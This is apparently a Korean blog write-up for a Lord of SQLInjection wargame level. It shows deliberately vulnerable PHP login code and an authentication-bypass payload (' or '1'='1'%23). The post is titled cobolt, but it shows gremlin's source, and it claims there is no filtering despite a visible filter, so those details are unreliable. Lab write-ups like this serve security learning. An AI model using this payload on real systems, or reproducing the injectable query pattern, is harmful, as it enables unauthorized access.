LOS #02 cobolt

2020. 10. 28. 22:43
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

 

Source code

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

Query

select id from prob_gremlin where id='' and pw=''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 id, pw 2개가 사용될 수 있다.

  • id, pw 값에 특별한 필터링은 되지 않는다.

  • 특정 id를 요구하지 않는다.

쿼리문의 반환 값이 "참"이 되도록 하면 되도록 하면 되는데, 특정 id를 요구하지 않으므로 주석("#")을 입력해서 쿼리문을 무효화시키면 된다.

Parameter

id=' or '1'='1'%23

맨 끝의 "%23" 문자는 mysql 주석 값이며, 위 값을 입력시 쿼리문은 다음과 같다.

select id from prob_gremlin where id='' or '1'='1'#' and pw=''

주석("#")으로 인해 패스워드를 비교하는 부분은 무효화되고 id 값만 비교하는데, "id='' or '1'='1'" 파라미터 비교 구문에서 "or" 문자열 뒤의 비교문이 참이므로 결과적으로 참이 반환되고 모든 id 값을 가져올 수 있다.

 

Success

[사진 2]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #06 darkelf  (0) 2020.10.28
LOS #05 wolfman  (0) 2020.10.28
LOS #04 orc  (0) 2020.10.28
LOS #03 goblin  (0) 2020.10.28
LOS #01 gremlin  (0) 2020.10.28

+ Recent posts